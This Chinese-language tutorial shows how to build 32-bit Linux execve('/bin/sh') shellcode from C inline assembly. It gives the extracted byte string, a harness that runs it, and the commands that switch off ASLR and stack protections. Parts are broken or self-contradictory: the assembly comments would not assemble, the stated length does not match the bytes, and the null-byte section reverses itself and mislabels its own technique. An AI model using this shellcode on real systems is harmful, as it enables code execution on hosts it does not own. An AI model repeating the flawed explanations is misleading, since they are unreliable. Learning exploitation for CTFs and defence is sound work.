C语言shellcode如何实现?

99ANYc3cd6
预计阅读时长 28 分钟
位置: 首页 C语言 正文
  1. 什么是 Shellcode? - 定义和目标
  2. 为什么用 C 语言? - C 语言在生成 Shellcode 中的核心作用
  3. 如何用 C 语言编写 Shellcode? - 从一个简单的例子开始
  4. 高级技巧:自我修改代码 - 让 Shellcode 更隐蔽
  5. 编译和测试 - 如何将 C 代码转化为可执行的 Shellcode
  6. 重要注意事项和免责声明

什么是 Shellcode?

Shellcode 是一段用于执行特定操作的机器码(字节码),它的名字来源于它的最初用途:获取一个 Shell/bin/shcmd.exe)。

c语言 shellcode
(图片来源网络,侵删)

核心特点:

  • 机器码形式:它不是像 C 或 Python 这样的高级语言代码,而是 CPU 能直接理解和执行的指令序列,通常以十六进制字节的形式表示。
  • 无依赖:一个好的 Shellcode 不能包含任何绝对地址(如函数地址 0x080484b6),因为它在被加载到内存中的位置是未知的,它必须是位置无关代码
  • 小巧精悍:Shellcode 通常非常短,因为内存空间(如缓冲区)有限。
  • 目标明确:除了获取 Shell,它还可以执行其他操作,如添加用户、下载文件、建立反向连接等,这些都被称为 "Payload"(有效载荷)。

一个经典的 Shellcode 目标: 当程序存在缓冲区溢出漏洞时,攻击者会用 Shellcode 填满缓冲区,并覆盖返回地址,使其指向 Shellcode 在内存中的起始位置,当函数返回时,程序的控制权就转移到了 Shellcode,从而执行攻击者的指令。


为什么用 C 语言?

我们不会用 C 语言去“直接写”机器码,因为那太繁琐且容易出错,C 语言在 Shellcode 开发中扮演着 “蓝图”或“中间代码” 的角色。

工作流程如下:

c语言 shellcode
(图片来源网络,侵删)
  1. 设计逻辑:先用 C 语言清晰地写出你想要 Shellcode 完成的任务,调用 execve("/bin/sh", NULL, NULL) 函数来启动一个 Shell,C 语言提供了高级的抽象,让我们可以专注于逻辑实现,而不是复杂的汇编指令。
  2. 编译为汇编:将 C 代码编译成汇编语言,汇编语言是机器码的助记符,比直接写十六进制要友好得多。
  3. 优化和转换:分析汇编代码,进行优化(去除不必要的指令、使用更短的指令),并将其转换成纯粹的字节码。
  4. 提取和验证:从最终的二进制文件中提取出这些字节码,并进行测试,确保它在新的内存环境中也能正常工作。

C 语言是构建和调试 Shellcode 逻辑的最高效、最安全的方式。


如何用 C 语言编写 Shellcode?(获取 Shell 的例子)

下面我们通过一个经典的 execve("/bin/sh", ...) Shellcode 的例子来理解这个过程。

步骤 1:用 C 语言实现逻辑

我们想调用 execve 系统函数,在 Linux x86 架构下,系统调用是通过 int 0x80 中断实现的,参数通过寄存器传递:

  • eax = 系统调用号 (对于 execve,是 11)
  • ebx = 第一个参数指针 (指向字符串 "/bin/sh")
  • ecx = 第二个参数指针 (argv 数组)
  • edx = 第三个参数指针 (环境变量数组)

一个简单的 C 程序如下:

c语言 shellcode
(图片来源网络,侵删)
// execve_shellcode.c
// 我们的目标是让编译器生成调用 execve("/bin/sh") 的汇编代码
void shellcode() {
    // execve("/bin/sh", NULL, NULL);
    // 我们需要把 "/bin/sh" 字符串放在代码后面
    // 然后让 ebx 指向它
    // 下面的汇编代码是实现这个目标的关键
    __asm__ (
        "xorl    %eax, %eax        ; eax = 0\n\t"
        "movl    %eax, %ecx        ; ecx = 0 (argv)\n\t"
        "movl    %eax, %edx        ; edx = 0 (envp)\n\t"
        "movb    $0x0b, %al        ; eax = 11 (execve syscall number)\n\t"
        "xorl    %ebx, %ebx        ; ebx = 0\n\t"
        "pushl   %ebx              ; push a NULL byte (for string termination)\n\t"
        "pushl   $0x68732f2f       ; push 'hs//'\n\t"
        "pushl   $0x6e69622f       ; push 'nib/'\n\t"
        "movl    %esp, %ebx        ; now ebx points to the string '/bin//sh'\n\t"
        "int     $0x80             ; make the system call\n\t"
    );
}
int main() {
    printf("Executing shellcode...\n");
    shellcode();
    printf("Shellcode finished.\n");
    return 0;
}

代码解释:

  1. xorl %eax, %eax:将 eax 寄存器清零,这是一种比 mov $0, %eax 更短的清零方式。
  2. movb $0x0b, %al:将 eax 的低 8 位 (al) 设置为 11,这是 execve 的系统调用号。
  3. xorl %ebx, %ebx:同样,用异或操作将 ebx 清零。
  4. pushl %ebx:压入一个 NULL 字节 (0x00),这是 C 字符串的结尾。
  5. pushl $0x68732f2fpushl $0x6e69622f:这是精妙之处,我们以小端序 的方式将字符串 /bin//sh 压入栈中。
    • /bin//sh 在内存中是 \x2f\x62\x69\x6e\x2f\x2f\x73\x68
    • 我们分两次 push:先压 hs// (0x68732f2f),再压 nib/ (0x6e69622f)。
    • 栈是“后进先出”的,所以最终栈上的顺序是 /bin//sh
  6. movl %esp, %ebx:将栈顶指针 esp 的值赋给 ebxebx 就完美地指向了我们刚刚压入的字符串 /bin//sh 的地址。
  7. int $0x80:触发软中断,CPU 进入内核模式,执行 execve 系统调用。

步骤 2:编译和提取汇编代码

# -g 生成调试信息,-o 指定输出文件
gcc -g -o execve_shellcode execve_shellcode.c

我们用 GDB 来查看 shellcode 函数编译后的机器码。

gdb ./execve_shellcode
(gdb) disassemble shellcode

你会看到类似下面的输出(地址可能不同):

Dump of assembler code for function shellcode:
   0x08048456 <+0>:     xor    eax,eax
   0x08048458 <+2>:     mov    ecx,eax
   0x0804845a <+4>:     mov    edx,eax
   0x0804845c <+6>:     mov    al,0xb
   0x0804845e <+8>:     xor    ebx,ebx
   0x08048460 <+10>:    push   ebx
   0x08048461 <+11>:    push   0x68732f2f
   0x08048466 <+16>:    push   0x6e69622f
   0x0804846b <+21>:    mov    ebx,esp
   0x0804846d <+23>:    int    0x80
   0x0804846f <+25>:    ret
End of assembler dump.

步骤 3:提取机器码

我们把上面的汇编指令转换成十六进制字节码,我们可以使用 GDB 的 x 命令来查看内存。

(gdb) x/20xb shellcode

或者更直接地,使用 objdump 工具:

objdump -d -j .text ./execve_shellcode | grep -A 20 "<shellcode>:"

输出会是这样的:

08048456 <shellcode>:
 8048456:   31 c0                   xor    %eax,%eax
 8048458:   89 c1                   mov    %eax,%ecx
 804845a:   89 c2                   mov    %eax,%edx
 804845c:   b0 0b                   mov    $0xb,%al
 804845e:   31 db                   xor    %ebx,%ebx
 8048460:   53                      push   %ebx
 8048461:   68 2f 2f 73 68          push   $0x68732f2f
 8048466:   68 2f 62 69 6e          push   $0x6e69622f
 804846b:   89 e3                   mov    %esp,%ebx
 804846d:   cd 80                   int    $0x80

将这些字节码按顺序连接起来,我们就得到了最终的 Shellcode:

\x31\xc0\x89\xc1\x89\xc2\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

注意:字符串 /bin//sh 的表示方式可能会因编译器和优化选项而略有不同,但核心思想不变。


高级技巧:自我修改代码

上面的 Shellcode 中有一个致命问题:它包含了空字节 (\x00)

  • xorl %ebx, %ebx -> \x31\xdb (无空字节)
  • pushl %ebx -> \x53 (无空字节)
  • movb $0x0b, %al -> \xb0\x0b (无空字节)
  • xorl %eax, %eax -> \x31\xc0 (无空字节)
  • 问题在于pushl $0x6e69622f 的机器码是 \x68\x2f\x62\x69\x6e,这没问题,但 pushl $0x68732f2f 的机器码是 \x68\x2f\x2f\x73\x68,这也没问题。movl %esp, %ebx\x89\xe3,也没问题。int $0x80\xcd\x80,没问题。
  • 等等,我之前的例子错了! 让我们重新检查。xor %eax, %eax\x31\xc0xor %ebx, %ebx\x31\xdbmov $11, %al\xb0\x0b,这些都没有 \x00,看来这个例子恰好没有空字节,这是一个幸运的巧合。

真正的挑战在于字符串,如果我们想调用 execve("/bin/ls", ...),字符串 /bin/ls 中间就没有 \x00,但如果字符串长度不是4的倍数,或者包含空字节,就会出问题。

一个更常见的例子是 execve("/bin/bash", ...)bash 的 ASCII 码是 0x62617368,中间没有空字节,但如果字符串是 "/home/user"user 的 ASCII 码是 0x75736572,也没有空字节。空字节通常出现在寄存器清零或小数值常量中

为了制造一个没有空字节的 Shellcode,我们需要使用自我修改代码 的技巧。

例子:用 sub 代替 xor 来清零

  • xor %eax, %eax -> \x31\xc0 (无空字节)
  • mov $0, %eax -> \xb8\x00\x00\x00\x00 (有4个空字节,非常糟糕!)
  • 我们可以用 sub 来实现: movl $0xAAAAAAAA, %eax -> \xb8\xaa\xaa\xaa\xaa subl $0xAAAAAAAA, %eax -> \x2d\xaa\xaa\xaa\xaa eax 变为 0,且没有空字节。

字符串处理:如果字符串中有 \x00,我们可以通过在运行时修改内存来“修复”它,将一个字节的值从 0x00 改为 0x20 (空格)。


编译和测试

将我们得到的 Shellcode 字符串放入一个 C 程序中进行测试。

// test_shellcode.c
#include <stdio.h>
#include <string.h>
// 将你的 shellcode 字节码放在这里
unsigned char shellcode[] = 
    "\x31\xc0\x89\xc1\x89\xc2\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
int main() {
    printf("Shellcode Length: %zu\n", strlen(shellcode));
    printf("Executing shellcode...\n");
    // 将函数指针指向 shellcode 的首地址并调用它
    int (*ret)() = (int(*)())shellcode;
    ret();
    printf("This line should not be reached.\n");
    return 0;
}

编译和运行:

# 注意:需要关闭地址空间随机化 和堆栈保护才能成功运行
# sudo sysctl -w kernel.randomize_va_space=0
# gcc -fno-stack-protector -z execstack -o test_shellcode test_shellcode.c
# 运行
./test_shellcode

预期输出:

Shellcode Length: 23
Executing shellcode...
$

你会看到程序输出了 ,这表示你现在已经拥有了一个新的 Shell!如果你输入 exit 并回车,程序会结束,并打印出 This line should not be reached.


重要注意事项和免责声明

  1. 合法性仅用于学习和授权的安全测试! 未经授权对任何计算机系统进行渗透测试或攻击都是非法的,本文档的知识应被用于理解漏洞原理、进行防御性安全研究或参加 CTF(夺旗赛)等合法活动。
  2. 环境:Shellcode 是高度依赖操作系统和 CPU 架构的,上面的例子是 Linux x86 (32位) 架构的,在 Windows、ARM、x86-64 等环境下,Shellcode 的写法完全不同。
  3. 现代防护机制:现代操作系统和编译器引入了许多机制来阻止 Shellcode 的执行,
    • ASLR (地址空间布局随机化):随机化程序的内存地址,使得攻击者难以预测 Shellcode 的位置。
    • NX/DEP (不可执行/数据执行保护):将堆栈和堆等数据区域标记为不可执行,即使 Shellcode 被注入,CPU 也不会执行它。
    • Stack Canaries (栈金丝雀):在函数返回地址前放置一个随机值,如果发生缓冲区溢出,这个值会被改变,程序在返回时会检查并终止。
  4. 工具:在实际渗透测试中,安全研究员通常会使用现成的工具(如 Metasploit Framework)来生成和测试各种平台的 Shellcode,而不是从头编写,但理解其背后的原理至关重要。

希望这个详细的解释能帮助你理解 C 语言和 Shellcode 之间的关系!

-- 展开阅读全文 --
头像
C语言fatalerror是什么原因?
« 上一篇 03-02
织梦文章图片为何不居中?
下一篇 » 03-02

相关文章

取消
微信二维码
支付宝二维码

目录[+]